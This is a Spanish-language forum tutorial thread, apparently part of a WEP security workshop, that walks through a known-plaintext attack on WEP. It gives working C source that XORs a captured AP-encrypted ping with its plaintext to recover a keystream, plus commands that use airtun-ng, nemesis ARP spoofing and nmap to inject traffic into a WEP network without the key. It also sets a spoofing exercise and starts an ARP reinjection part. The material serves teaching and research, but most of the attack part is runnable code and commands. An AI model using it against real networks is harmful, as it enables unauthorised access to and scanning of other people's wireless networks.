Mensajes

Buenas:

MUchas gracias berni 

Un saludete

ChimoC

[VULNERABILIDADES WEP. Parte II. Práctica]

VULNERABILIDADES WEP. Parte II. Práctica

Ataque de Texto plano

Antes de nada, el atacante debe "preparar" un archivo ping_plano.cap con destino al equipo víctima (10.10.10.200)

Para ello, vamos a usar tcpdump y luego enviar el ping.

Ponemos  tcpdump "a la escucha"  abrimos una shell y escribimos:

Código [Seleccionar] Expandir

tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0

Esto deja a tcpdump escuchado por la interface eth0 a la espera de un paquete icmp echo (un ping) y cuando lo reciba, guardará el/los paquetes capturados en el archivo ping_plano.cap

La opción –s 0 (cero) es importante puesto que en caso contrario tcpdump sólo captura los primeros 96bytes de cada paquete y a nosotros nos interesa capturarlo completo, sobre todo si enviamos un ping de 1300 bytes, por ejemplo.

En otra shell, el atacante envía un ping a la víctima, sólo uno (no necesitamos mas) y del tamaño que nos de la gana, en principio lo enviamos del tamaño "estándar" 64 bytes, luego haremos un ping de tamaño mayor para obtener un keystream mas grande y poder descifrar cualquier paquete.

Código [Seleccionar] Expandir

ping 10.10.10.200 -i eth0 -c 1

Si todo ha ido bien, deberemos tener un archivo llamado ping_plano.cap en el directorio donde está escuchando tcpdump, ese archivo (si no lo está ya) debemos copiarlo al directorio donde ejecutaremos nuestro programa de ataque de texto plano, y por supuesto, ya podemos parar tcpdump

Te pongo las pantallas:



Veamos ese paquete capturado



Vale.

Ahora que tenemos el archivo, ya podemos ejecutar nuestro programa. Pero antes hay que aclarar algo,

Nosotros hemos enviado esto:



Están resaltados justamente los dos bytes siguientes a la cabecera ethernet.

Recordáis lo de la cabecera SNAP y LLC???  Si es que para algo se explicó entonces

Nuestro paquete ethernet (según tcpdump y/o whireshark) tiene un tamaño de 98 bytes, PERO cuando el punto de acceso envie ese paquete no será así.

El punto de acceso eliminará la cabecera ethernet (Mac destino y mac origen) que son los 12 bytes del principio del paquete ethernet (lo que hay a la izquierda de los bytes resaltados)

En su lugar colocará la cabecera MAC, que serán algo así:



Bueno, podrían ser 26 si hay QoS, ya sabes...

Luego añade el IV + la cabecera SNAP/LLC



ESOS 08 00 son precisamente los mismos dos bytes que están resaltados en la captura del esnifer!!!! Estos son IP!!!!

Recuerda lo de la cabecera SNAP/LLC!!! Puesto que formarán parte del paquete de datos cifrado y del keystream que obtengamos = ESTO es IMPORTANTÍSIMO!!!!

Después le añade el resto del paquete, es decir 84 bytes y finaliza con el ICV (el CRC32 de los bytes en texto plano, desde la cabecera SNAP hasta el final) este ICV son 4 bytes.

Por tanto, el paquete a transmitir por el punto de acceso al cliente inalámbrico es:



Y repito de nuevo: IMPORTANTÍSIMO!!!!!

Los bytes de datos cifrados comienzan en la posición +28 hasta el final -4 (124 del tamaño total – 4 del ICV)

Código [Seleccionar] Expandir

Total del tamaño de datos cifrados = 124 - 28 - 4 = 92 bytes cifrados

DESDE la CABECERA SNAP/LLC (incluida) hasta 124 – 4!!!!

En este ejemplo asumimos que no hay QoS, si lo hubiese serán dos bytes mas en el tamaño total del paquete (124+2=126) pero los datos serían LOS MISMOS, sólo que comenzarían en la posición +30 hasta 126 – 4.

Por tanto, cuando analicemos los paquetes desde nuestro programa, tenemos que buscar uno que cumpla estos requisitos:

a.- Que sea un paquete de datos (byte 0 debe ser 08 ó 88 si hay QoS)
b.- Que sea un paquete fromDS (byte 1 debe ser 0x42, ya veremos)
c.- Que el bit wep está activado (byte 1 debe ser 4x, ya veremos)
d.- que la mac destino sea la del cliente (bytes 4 al 9)
e.- que la mac del punto de acceso sea el correcto (bytes 10 a 15)
f.- que la mac origen sea la de la tarjeta ethernet (bytes 16 al 21)
g.- que el tamaño total del paquete sea 124 bytes ó 126 si hay QoS.[/list]Si se cumplen todas estas condiciones, estamos casi seguros que el paquete que capturemos por la interface Wifi es el paquete que el punto de acceso ha cifrado para enviarlo al cliente.

Si en lugar de ese tamaño hubiésemos usado otro de tamaño "especial" por ejemplo uno de 173 bytes estaríamos seguros (digo de 173 como podía haber dicho 191, 211, 151, 995, 1133, etc...) porque los números impares no son "habituales", siempre se usan números pares... pero bueno, esa es otra historia, con las comprobaciones dichas antes, mas que suficiente para tener prácticamente un 100% de probabilidad que es el "nuestro"

Una vez que lo tengamos, solo nos falta hacer un xor del paquete enviado con el cifrado y ya tenemos un keystream válido para el IV que se esté usando.

Y otra vez....  IMPORTANTÍSIMO, para hacer el XOR debemos añadir a nuestro paquete en texto plano la cabecera SNAP (AA AA 03 00 00 00 ) aquí no hace falta incluir el 08 00 puesto que ya lo tiene.

Es decir, nuestro paquete en texto plano sería:

Código [Seleccionar] Expandir

AA AA 03 00 00 00 08 00 45 00 ...... 35 36 37

OBSERVA que la cabecera MAC de ethernet NO SE INCLUYE COMO DATOS!!!!

Y HAY QUE HACER XOR DE LO QUE CAPTUREMOS +28 HASTA 124 -4



Bueno, ha sido muy, muy pormenorizado todo, pero es que si no vamos entendiendo bien esto, otros ataques se nos van a atragantar....

Ahora vamos al programa.

Utiliza la funciones de costumbre: read_packet, dump_packet y send_packet (esta última no se usa)

Además estas otras:

Función main

* Comprueba el paso de parámetros
* Prepara la interface wifi para enviar/recibir paquetes
* llama a la función captura_datos_ethernet
* llama a la función envia_datos_ethernet
* llama a la función captura_datos_wifi
* realiza las operaciones XOR pertinentes
* graba el archivo ping.xor con su IV, esto es el keystream.
* muestra los resultados por pantalla para comprobar que funcionó

Función captura_datos_ethernet

* El cometido de esta función es abrir el archivo ping_plano.cap que deberemos tener con anterioridad, eliminando la cabecera pcap y  lo almacena en un array llamado ethernet, estos serán los datos en plano de ethernet.

Función envia_datos_ethernet

* Su cometido es abrir un RAW socket y lanzar por el cable el contenido del array ethernet que completamos en la función anterior, también comprueba que se pudo enviar correctamente.

Función captura_datos_wifi

Esta función se encarga de capturar el paquete que el punto de acceso ha debido cifrar para el cliente, es decir, nuestro ping enviado desde la interface ethernet convertido a 802.11 y cifrado con WEP.

Aquí es donde realizamos las comprobaciones de tamaño, fromDS, MAC's, wep, etc.. las que hablábamos antes.

También en esta función se escribe en el disco un archivo llamado ping_cifrado.cap que es el contenido completo del paquete cifrado.

Para nuestro Taller nos interesan sobre todo el contenido de la función main y de la función captura_datos_wifi, puesto que son donde se realiza de verdad el ataque del tipo texto plano.

Contenido de la función main()

Código [Seleccionar] Expandir

int main( int argc, char *argv[] ) // inicio del programa
{
    int caplen=0;
    int bb,z;

//Comprueba el paso de parámetros
   if( argc != 2 ) {
    printf("\nUso: ataquePLANO interface\n\nEjemplo: ataquePLANO wlan0\n\n");
        exit( 0 );
    }

/* Abrir Interface wifi para enviar/recibir tráfico */

     opt.iface_out = argv[1];
    _wi_out = wi_open(opt.iface_out);
    if (!_wi_out)
            return 1;
    dev.fd_out = wi_fd(_wi_out);
    _wi_in = _wi_out;
    dev.fd_in = dev.fd_out;
    dev.arptype_in = dev.arptype_out;
    wi_get_mac(_wi_in, dev.mac_in);
    wi_get_mac(_wi_out, dev.mac_out);

/* drop privileges */

   setuid( getuid() );

/* Leemos el paquete de Datos de pring_pano.cap*/

memset (ethernet,0,1500);
if (captura_datos_ethernet() !=0) exit(1); //Comprobamos que hay un paquete .cap de ethernet

/* Enviamos ping_plano (guardado en ethernet[1500]) por la red de cable */

if (enviar_paquete_ethernet () !=0 ) exit (1); // si hubo algún error al enviarlo, fin de programa.

/* Capturamos el paquete desde la interface Wifi */

while(captura_datos_wifi(&caplen) !=0 ) {}

// Ahora en ethernet[] tenemos el paquete en texto plano y en h80211[] tenemos el paquete cifrado

z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

if( (h80211[0] & 0x80) == 0x80) z+=2; // si es un paquete QoS z se incrementa en 2 bytes

// Volcamos el paquete cifrado para observar su contenido
printf ("\nDatos del Paquete cifrado");
dump_packet (paquete_cifrado+z+4,caplen - z -4 -4); // a caplen le restamos la cabecera MAC (z) 4 de IV y 4 de ICV

/* Obtenemos el keystream mediante XOR entre el paquete en texto plano y el paquete cifrado

El keystream se debe obtener de los datos cifrados y de los datos en texto plano
El paquete en texto plano lo tenemos en ethernet[] y el cifrado en paquete_cifrado[]
Para que todo "encaje":

* ignorar los primeros 12 bytes de la cabecera ethernet II correspondientes a MAC destino y MAC origen
* Luego tamaño de ethernet - 12 = tamaño de los datos cifrados
* incluir al principio del keystream los 4 bytes correspondientes a los parámetros WEP IV
* Añadir los 6 primeros 6 bytes de la subcapa LLC.en ethernet
* hacer xor para obtener el keystream
* añadir al final los 4 bytes correspondientes al ICV
* Salvar ese keystream
*/

unsigned char mi_XOR[1500],mi_PLANO[1500], nuevo_ethernet[1500];

// nuevo ethernet será lo mismo que ethernet pero con la subcapa LLC al inicio!!!

#define mi_llc_snap "\xaa\xaa\x03\x00\x00\x00"

// tamano es el tamaño del paquete ethernet, caplen es el tamaño del paquete 802.11
// tamano menos 12 (que son los bytes de las direcciones mac ethernet) y le sumamos 6 (subcapa LLC) y lo
// comparamos con caplen restando z (que es el tamaño de la cabecera MAC 802.11), menos 4 (tamaño del IV) -4 (Tamaño del ICV)
// si tras esa operación no son los mismos valores, no se hace XOR y el programa termina.

if (tamano -12 + 6  != caplen -z -4 - 4 ) {

printf ("\n\nEl tamaño de los datos en texto plano (%i bytes) no se corresponde con el"
" tamaño de los datos cifrados (%i bytes) \n\n"
"Generación del keystream abortada.\n\n",tamano -12, caplen -z -4-4);
exit (1);
}

// Copiamos a nuevo_ethernet la subcapa LLC
memcpy (nuevo_ethernet, mi_llc_snap, 6);

// Copiamos a nuevo_ethernet el resto del paquete ethernet ignorando las mac destino y origen (ethernet +12)
memcpy (nuevo_ethernet+6, ethernet+12, 1500-12);

//añadimos el iV
memcpy (mi_XOR,paquete_cifrado+z,4);

// hacemos xor desde la posición z+4 (inicio de los datos cifrados) con los datos de nuevo_ethernet
// hasta alcanzar la longitud total del paquete 802.11 sin la cabecera (z) y sin contar los IV e ICV (-4-4)
// mi_XOR comienza a contar desde la pos.4 puesto que las anteriores las ocupa el IV de la línea anterior
// paquete_cifrado comienza en la posción +z+4 (cabecera mac + 4 para el iV)

for (bb=0;bb < caplen-z-4;bb++) mi_XOR[bb+4] = paquete_cifrado[bb+z+4]^nuevo_ethernet[bb];

// añadimos al final los 4 bytes del ICV
// bb cuenta la última posición de los datos y caplen-4 es la posición inicial del ICV
memcpy(mi_XOR+bb,paquete_cifrado+caplen-4,4);

// Volcamos el paquete keystream resultante del XOR para observar su contenido
printf("\nKeystream obtenido mediante XOR del paquete cifrado con el paquete en texto plano");
dump_packet (mi_XOR,bb+4+4);

// Comprobamos que todo funciona, volvemos a hacer XOR, pero esta vez usamos el keystream obtenido (mi_XOR)
// hacemos XOR con el paquete cifrado, que lógicamente nos tiene dar lo mismo que en el paquete en texto plano
// observa que no se hace xor de los primeros 4 bytes y de los 4 últimos!!! son los IV e ICV.

for (bb=0;bb<caplen-z-4-4;bb++) mi_PLANO[bb] = paquete_cifrado[bb+z+4]^mi_XOR[bb+4];

// Volcamos el paquete keystream XOR cifrado
printf ("\nPaquete plano resultante de cifrado XOR keystream calculado.");
dump_packet (mi_PLANO,caplen-z-4-4);

// Si volcamos el paquete nuevo_ethernet, el contenido de uno y otro deben ser IDENTICOS!!!!
printf ("\nPaquete nuevo_ethenet original (debe ser idéntico al volcado anterior)");
dump_packet (nuevo_ethernet,caplen-z-4-4);

// guardamos el keystream (prga) calculado... el que está en mi_XOR como ping.xor

FILE *f_cap_out;

if( ( f_cap_out = fopen( "ping.xor", "wb+" ) ) == NULL )
    {
        perror( "Error al abrir el archivo para escritura. ping.xor" );
        return( 1 );
    }

//    n = pkh.caplen + 8 - 24;
 
    if( fwrite( mi_XOR, caplen, 1, f_cap_out ) != 1 )
    {
        perror( "Error al escribir en el archivo ping.xor" );
        return( 1 );
    }

    fclose( f_cap_out );

printf ("\nListo!!! Guardado como ping.xor\n");

// ahora ya podemos usar ese keystream para enviar cualquier paquete a la red inalámbrica!!!!

return( 0 );
}

Función captura_datos_wifi

Código [Seleccionar] Expandir

int captura_datos_wifi( int *caplen) // captura de datos WiFi, comprobaciones y guardar paquete .cap
{
    time_t tr;
    struct timeval tv;
    struct tm *lt;
    int n, z;
    long nb_pkt_read;
    FILE *f_cap_out;
    struct pcap_file_header pfh_out;
    struct pcap_pkthdr pkh;

    tr = time( NULL );
    nb_pkt_read = 0;

    signal( SIGINT, SIG_DFL );
 
    while( 1 )
    {
       
        *caplen = read_packet( h80211, sizeof( h80211 ), NULL );
nb_pkt_read++;
usleep(300);
if (nb_pkt_read > 20) { // asumimos que al leer mas de 20 paquetes no hemos capturado el "bueno"
printf ("\r*** Parece que no se ha capturado el paquete. Pulsa ctrl+c y repite *** \r");
fflush( stdout );
return (2);
}
        if(*caplen <= 0) continue; // si la longitud no es válida

if( (h80211[0] & 0x0C) != 0x08)    //Si no es un paquete de datos
        continue;

    // if( ( h80211[1] & 0x01 ) != 0x00 ) continue; // Si es ToDS

    if( ( h80211[1] & 0x02 ) != 0x02) continue; // Si no es FromDS

    if( ( h80211[1] & 0x40 ) != 0x40 ) continue; // si no es un paquete Wep activado

if (h80211[16] != 0x00 && h80211[17] != 0x0a && h80211[18] != 0xcc) continue;

z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30; // z es 30 si es un paquete WDS (toDS=1 FromDS=1), si no será 24

if( (h80211[0] & 0x80) == 0x80) z+=2; // si es un paquete QoS z se incremente en 2

/* Controlamos el paquete icmp. tamano es la longitud del paquete ethernet
   a ese valor (tamano):
se restan 12 de la cabecera MAC ethernet II (MAC destino y MAC origen)
se suman 6 de la subcapa LLC 802.11 (aa aa 03 00 00 00) o (42 42 03 00 00 00 para spanning-tree)
se suman 24 de la cabecera MAC 802.11 (ó 26 si es una paquete QoS) --> z contiene este valor
se suman 4 del IV de WEP
se suman 4 del ICV
total = tamano -12 + 6 + 24 + 4 + 4 para un paquete no QoS
total = tamano -12 + 6 + 26 + 4 + 4 para un paquete QoS
si ese total coincide con la longitud leída, se asume que es nuestro paquete enviado
*/

if (*caplen == tamano - 12 + 6 + z + 4 + 4  ) {

memset (paquete_cifrado,0,4096);
memcpy (paquete_cifrado,h80211,*caplen);
// printf ("\n\n");
//dump_packet (paquete_cifrado,tamano - 12 + 6 + z + 4 + 4);

break; // sale de while y procede a grabar el paquete leído en formato .pcap
}

    }

// Grabamos el paquete leído (h80211) en el archivo ping_cifrado.cap

    pfh_out.magic         = TCPDUMP_MAGIC;
    pfh_out.version_major = PCAP_VERSION_MAJOR;
    pfh_out.version_minor = PCAP_VERSION_MINOR;
    pfh_out.thiszone      = 0;
    pfh_out.sigfigs       = 0;
    pfh_out.snaplen       = 65535;
    pfh_out.linktype      = LINKTYPE_IEEE802_11;
    lt = localtime( (const time_t *) &tv.tv_sec );
    f_cap_out=0;
    if( ( f_cap_out = fopen( "ping_cifrado.cap", "wb+" ) ) == NULL )
        {
            perror( "Error al abrir archivo de salida" );
            return( 1 );
        }
    printf( "Guardado como ping_cifrado.cap\n");
    n = sizeof( struct pcap_file_header );
    if( fwrite( &pfh_out, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribur la cabecera pcap\n" );
            return( 1 );
        }

    pkh.tv_sec  = tv.tv_sec;
    pkh.tv_usec = tv.tv_usec;
    pkh.caplen  = *caplen;
    pkh.len     = *caplen;
    n = sizeof( pkh );

   if( fwrite( &pkh, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribir datos en la cabecera pcap" );
            return( 1 );
        }

    n = pkh.caplen;

    if( fwrite( h80211, n, 1, f_cap_out ) != 1 )
        {
            perror( "Error al escribir el paquete" );
            return( 1 );
        }

     fclose( f_cap_out );
    return( 0 );
}

Del resto de funciones no voy a  poner el código fuente en este post, se escapan al temario de este Taller y además, con las explicaciones dadas son fáciles de entender.

Lo puedes descargar de: http://www.megaupload.com/?d=YCGYVOUU

Se guarda en el directorio del código fuente de aircrack con el nombre ataquePLANO.c

Y se compila:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o ataquePLANO ataquePLANO.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude ataquePLANO.o common.o crypto.o -o ataquePLANO -Losdep -losdep   -lssl -lcrypto

Lo vemos en acción:



Una vez obtenido el keystream (que si todo ha ido bien lo tendremos en el archivo ping.xor y podremos usarlo para inyectar paquetes en la red.

El keystream que disponemos es de tan sólo 92 bytes por lo que este será el tamaño máximo de los paquetes que podemos enviar, sin embargo, podemos obtener un keystream mas grande de una forma simple.

Como estamos usando un paquete icmp en texto plano para el "ataque" nos bastará con enviar un ping de mayor tamaño que el estándar.

Por ejemplo, podemos hacer esto,abrimos una shell y escribimos:

Código [Seleccionar] Expandir

tcpdump -i eth0 -p icmp[icmptype]=icmp-echo -w ping_plano.cap -s 0

En otra shell:

Código [Seleccionar] Expandir

ping 10.10.10.200 -i eth0 -c 1 -s 1423



Esta pantalla de la estructura de un paquete icmp completo puede ayudar aún mejor a entender el encapsulado del paquete.



Observa también, que hemos jugado con un número impar por aquello de que no son muy habituales, casi todas las tramas y paquetes de datos tienen un tamaño par, así será más fácil identificar nuestro paquete de datos cifrado, tendremos que "encontrar" un paquete de datos, con wep activado, fromDS y con un tamaño de 1497 (ó 1499 si hay QoS).

Ahora lanzamos nuestro programa como hicimos antes y si todo va bien obtendremos un keystream de 1469 bytes (4 del ICV + 1465 de datos cifrados)

Código [Seleccionar] Expandir

./ataquePLANO eth1

Con este keystream podemos enviar paquetes mucho mas grandes.

Para ello, nos vamos a apoyarnos de una de las herramientas de aircrack, esta es airtun-ng.

Esta pequeña maravilla permite usar un prga (un keystream) para enviar datos a la red inalámbrica, hace muchas otras cosas, pero esta es una de sus capacidades.

Antes de usar airtun-ng debemos cargar un móduulo para la interface tap (una interface "muda" y virtual) que usará airtun.

En una shell:

Código [Seleccionar] Expandir

modprobe tun

Luego lanzamos airtun-ng

Código [Seleccionar] Expandir

./airtun-ng -a 00:16:B6:41:03:5D -y ping.xor

donde 00:16:B6:41:03:5D debe ser la mac del punto de acceso y ping.xor el keystream "grande" que nos hemos fabricado.

Responderá que ha creado una intarface tap con el nombre at0 y que sólo la podemos usar para enviar tráfico...



En otra shell:

Código [Seleccionar] Expandir

ifconfig at0 10.10.10.33 netmask 255.255.255.0 up

Y para que no haya "trampa ni cartón" hacemos:

Código [Seleccionar] Expandir

ifconfig eth0 down

Desactivamos la interface ethernet (qeu si recuerdas el atacante estaba conectado a la red wifi con ela, por eso digo "sin trampa ni cartón"), vemos como queda:



Ahora podemos usar la interface at0 con cualquier herramienta para enviar tráfico directamente a la red, por ejemplo, podemos enviar un ping así:

Código [Seleccionar] Expandir

ping 10.10.10.200 -I at0

No recibiremos respuestas, pero los paquetes llegarán al destino.



Como esto es un Taller, hay que "trastear", vamos a repasar algunas cuestiones de redes (no exclusivas de las inalámbricas) seguro que mas de uno se sorprende.

Veamos qué pasa en "el destino", en lo que hemos llamado cliente víctima con ip 10.10.10.200, lo primero es ver su caché arp:



Como vemos parece que se ha resuelto la dirección 10.10.10.33 (que es nuestra interface tap, at0) la mac es "aleatoria" la genera airtun-ng al "azar".

Ahora vamos a poner un esnifer en la vícitma (10.10.10.200) para ver qué es lo que se recibe.



Como puedes ver claramente, se reciben ARP Request (Solicitudes ARP) y se envían ARP Response (las respuestas)

Y cómo es esto?

Pero si estamos enviando ping?

Pues lógico, porque el equipo del atacante tiene que resolver la dirección MAC de la víctima antes de poder encapsular el paquete IP/ICMP, por eso, aunque enviamos ping, la víctima lo que recibe son ARP REQ.

Vamos a solucionarlo.

Si lanzamos airodump (o nos creamos un simple programita para que escuche el tráfico de la red) veremos el/los clientes conectados, bueno veremos sus mac's, y eso es precisamenbte lo que necesitamos:

Lo haremos con airodump...

Código [Seleccionar] Expandir

./airodump-ng -w test -d 00:16:B6:41:03:5d -c 7 eth1



Aquí vemos la MAC de nuestra víctima

Ahora vamos a crear una entrada estática en la tabla arp del atacante que relaciona esa mac con la ip correspondiente, así NO TENDRÁ QUE RESOLVERLA!!!! Y los paquetes saldrán directamente sin necesidad de resolverse (bueno, no es verdad del todo, ahora verás por qué!)




Volvemos a realizar el mismo ping que antes (observa que ahora ni tan siquiera nos muestra el error de host no encontrado.



Veamos que pasó en el esnifer que hemos colocado en la víctima, ahora resulta que no hay ARP REQ por parte del atacante (lógico porque al haber creado una entrada estática ya no necesita resolverlo).



También vemos que se reciben los IP/ICMP echo que envía el atacante pero la víctima no envía respuestas (y por tanto no habrá IV's nuevos), es mas, tras varios paquetes ICMP recibidos es la propia víctima quien envía un ARP REQ intentando resolver la MAC-IP del atacante... será infructuoso porque por la interface at0 del atacante no se pueden descifrar los paquetes recibidos y por tanto no habrá un ARP RESPONSE del atacante.

(los paquetes IGMP, ni caso a ellos, son multicast de servicios que el router y(o punto de acceso envía)

Bueno, pues para que todo vaya mejor, lo único que tenemos que hacer es decirle a la víctima cuál es la mac del atacante!!! O sea, enviar ARP RESPONSE, por que enviar, sí que podemos enviar!!!!

Para hacerlo podríamos hechar mano de otro programa creado por nosotros, pero ... como tenemos un keystream (el archivo ping.xor), una interface tap (at0) y airtun-ng funcionando: PODEMOS USAR CUALQUIER PROGRAMA!!!!

Lo haremos con nemesis.... en una shell del atacante hacemos:

Código [Seleccionar] Expandir

./nemesis arp -S 10.10.10.33 -D 10.10.10.200 -r -d at0

Es decir enviamos ARP Response (-r) por la interface at0 (-d at0) a la ip de la víctima (-D 10.10.10.200) desde la ip del atacante (-S 10.10.10.33) para que actualice su tabla arp

Enviamos un par de ellos:



Veamos que tiene ahora la caché ARP de la víctima y qué es lo que pasa en el esnifer.

Caché de la víctima: Actualizada su tabla arp con la dirección ip del atacante y la mac de la interface tap (at0)



En el esnifer: Vemos que "auto-mágicamante" tras recibir esos dos ARP RESPONSE (los paquetes con el punto rojo) que enviamos desde nemesis, ya no intenta resolver la MAC, sencillamente responde al ping que enviamos desde la interface at0. (el conjunto de paquetes de la línea verde)



A partir de ahora, ya podemos usar cualquier otra herramienta para enviar tráfico (se supone que mal intencionado ) hacia el cliente inalámbrico víctima.

Por ejemplo, aunque no sirve de mucho mas que para demostrar lo dicho, vamos a usar nmap para escanear puertos de la vícitima:

Desde una shell del atacante ejecutamos nmap así:

Código [Seleccionar] Expandir

nmap -sS -O -p- -P0 -n 10.10.10.200 --send-ip 10.10.10.33 -e at0

* Es muy importante la opción --send-ip puesto que sin ella nmap primero enviará paquetes ARP REQ a la vícitma y fallaría... esta opción nos permite enviar tramas "en bruto" (raw).

Ahora vamos a ver qué pasó en el esnifer de la vícitima:



Y como era de esperar, escaneo "al canto", puedes observar que se están probando diferentes puertos (columna puertos) ldap, ftp, smtp, etc..

Lo que el atacante no recibe son las respuestas, bueno, sí que las recibe, pero cifradas y como no tenemos la clave WEP completa no podemos descifrarlos.

También has de recordar que la caché arp es dinámica y que tras un tiempo sin actividad por parte del atacante, la víctima borrará de su tabla esa entrada, habría que repetir la inyección de nemesis que hicimos antes, o mantener "viva" la conexión.

Podemos hacer alguna "jugarreta", por ejemplo podríamos intentar un ip-spoof + mac-spoof desde la interface at0, por ejemplo, te lo pongo como ejercicio:

* Hacer un

escáner de puertos con nmap como el que se ha descrito, sólo que en esta ocasión, la víctima "crea" que el escáner se lo está haciendo el punto de acceso.

* Esto tiene una ventaja: Como el punto de acceso y la víctima sí pueden mantener una comnunicación completa (ambos conocen la clave wep) el tráfico irá por las nubes.... puesto que un escáner total de puertos genera un tráfico enorme...

* Si en la red por ejemplo hay 10 equipos inalámbricos podemos "jugar" con TODOS a la vez y "simular" que es el punto de acceso quien escanea a TODOS, por lo que el tráfico es muy, muy,muy grande y capturaremos muchíiiisimos IV's. En menos de un minuto tenemos 100 mil IV's [/list]
En este ejercicio todo ha sido "muy fácil" porque el atacante y la víctima "compartían" la misma red, ambos podían comunicarse entre sí y además, el atacante conocía la  IP de la vícitma.

Será posible hacer lo mismo sin "esa ventaja"??

Podríamos hacer esta misma prueba con la red "del vecino" de la cual no conocemos su rango de ip's y al cual no le podemos enviar un paquete en texto plano por la interface ethernet???

La respuesta en el próximo post. Mejor dicho, la respuesta es SÍ, en el próximo post resolveremos este "inconveniente", haremos un nuevo programa, uno que pueda decodificar CUALQUIER paquete cifrado de CUALQUIER red con protegida con WEP y obtener un keystream válido junto con el rango de direcciones ip's que usa "el vecino". Dará lo mismo que use DHCP o no, nuestro próximo objetivo será averiguar las IP's que circulan en una red WEP y obtener keystream sin estar conectados a ella.

Bien, hasta aquí la esta entrega del análisis de vulnerabilidades WEP, pero OJO!!! que todavía esto no ha terminado!!! queda muuuchooo mas....

[VULNERABILIDADES WEP. Parte II. Teoría. Ataque de Texto Plano]

VULNERABILIDADES WEP. Parte II. Teoría. Ataque de Texto Plano

Para completar lo que hemos estado explicando sobre la teoría de colisiones IV, conocimiento del texto plano, etc... Vamos a implementar lo que se llama un ataque en texto plano. Antes de la práctica, una pequeña introducción....

En este escenario el atacante cuenta con una GRAN ventaja, que es el poder comunicarse con las estaciones inalámbricas desde su máquina mediante la red cableada.

Es decir, imaginemos que estamos en la empresa, colegio, o donde sea y tenemos nuestro PC conectado por cable a un router o switch que a su vez está conectado a un punto de acceso inalámbrico.

Como no somos parte de la red inalámbrica, no conocemos la clave WEP, de hecho igual tampoco la conocen los usuarios inalámbricos porque el administrador configuró los equipos de la empresa manteniendo en secreto la clave.

Como podemos comunicarnos con los clientes inalámbricos (y estos con nosotros) puesto que compartimos los mismos recursos corporativos (bases de datos,  dns, o sencillamente unas cuantas carpetas de red) podemos enviar cualquier cosa a las estaciones inalámbricas.

Esto es la GRAN ventaja, el atacante conoce el TEXTO PLANO de lo que envía (puesto que por la interface ethernet saldrá el paquete sin cifrar)

Como ese paquete irá con destino a una estación inalámbrica, el router, switch o lo que sea, se lo dará al punto de acceso que lo cifrará con la clave WEP y terminará por entregarlo al destino (estación inalámbrica).

Si conseguimos capturar el paquete de datos que el punto de acceso envía (ya cifrado) a la estación wireless, sólo tenemos que hacer un XOR del texto plano enviado por la interface de cable (la ethernet) con el paquete que sale del punto de acceso hacia el cliente inalámbrico.

De ese XOR, como vimos en la explicación teórica, saldrá el keystream para ese IV y con ese keystream el atacante puede utilizar una tarjeta inalámbrica para comunicarse con la red wifi sin saber la clave WEP.

Esto puede parecer una tontería.... "si ya tengo comunicación con la red inalámbrica desde el cable, para qué usar un keystream??"

Pues visto desde este punto parece del todo inútil, pero es que la escenificación de este ataque nos va a dar pié para comprender cómo podremos hacer lo mismo en los casos en los que "el atacante" ni pertenece a la red de cable ni pertenece a la red inalámbrica, y sin embargo, podremos usar los keystream calculados "a ciegas" sin conocer el texto plano como es este caso. Esto ya es mejor, verdad?

Pero por partes, primero al ataque en texto plano para poder comprender mas adelante otros mas refinados.

Para realizar el ataque en texto plano el atacante debe generar un paquete del cual conozca todo su contenido y que sea lo suficientemente grande para poder usar la keystream en otros paquetes diferentes.

Como candidato elegí un icmp echo (un ping) es fácil de construir y podemos "aumentar el tamaño" a lo que nos interese.

La coreografía es la siguiente:

1.- el atacante envia un icmp echo a un cliente inalámbrico del cual conoce todos los datos. Realmente y como vewremos en el ejemplo, lo que hacemos es guardar ese icmp en plano dentro de un archivo llamado ping_plano.cap

2.- El atacante escucha con una tarjeta inalámbrica los paquetes que salen del punto de acceso (FromDS) y compara si lo que envía el punto de acceso al cliente inalámbrico es el paquete elegido y lo guarda en un archivo llamado ping_cifrado.cap

3.- Si lo averigua, realiza un XOR del paquete que sale del AP (ya estará cifrado) con el texto plano que él envió y lo guarda en un archivo llamado ping.xor

4.- con el archivo ping.xor (que es el keystream) puede inyectar paquetes "a medida" DIRECTAMENTE a la red inalámbrica desde la tarjeta wifi del atacante.

5.- Podrá usar ese keystream desde cualquier herramienta tanto del sistema operativo como de terceros.[/list]
Un dibujito de cómo es el escenario, con sus ip's, etc...



Y después de que todo esto ya está explicado y claro... al ataque....

[VULNERABILIDADES WEP. Parte I. Práctica(2). Programa reenvioarp.c]

VULNERABILIDADES WEP. Parte I. Práctica(2). Programa reenvioarp.c

Ejemplo 2. Reinyección selectiva de un paquete ARP.

Lo descargas de: http://www.megaupload.com/?d=DYGS5RVY

Lo guardas como reenvioarp.c en el directorio fuente de aircrack

Y lo compilas:

Código [Seleccionar] Expandir

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude   -c -o reenvioarp reenvioarp.c

gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -Iinclude reenvioarp.o common.o crypto.o -o reenvioarp -Losdep -losdep   -lssl -lcrypto

En este ejemplo usaremos como candidato a inyectar un paquete del tipo ARP Request (Solicitud ARP) de este modo nos aseguramos que habrá respuesta por el destino y los IV's crecerán tanto como paquetes inyectados.

Utiliza las habituales funciones send_packet, read_packet y dump_packet... estas ya son "norma"en este Taller.

La función main es igualita a la del anterior apartado, sólo que en esta ocasión, en lugar de llamar a la función rebote_datos, llama a una nueva función: inyectar_arp_req

Lo primero que hemos de tener claro para entender esta función es:

¿Cómo saber si se trata de un ARP o de otro tipo de paquetes?

Y... en el caso de sea ARP, ¿Cómo diferenciar si es un ARP Request o un ARP response?

Bueno, lo qu está claro es que la función debe comprobar primero si el bit wep está activado, si es un paquete de datos, como antes.

Para saber si un determinado paquete es un ARP nos tendremos que "fiar" de su tamaño.

Un paquete ARP debería de ser así mas o menos:

Código [Seleccionar] Expandir

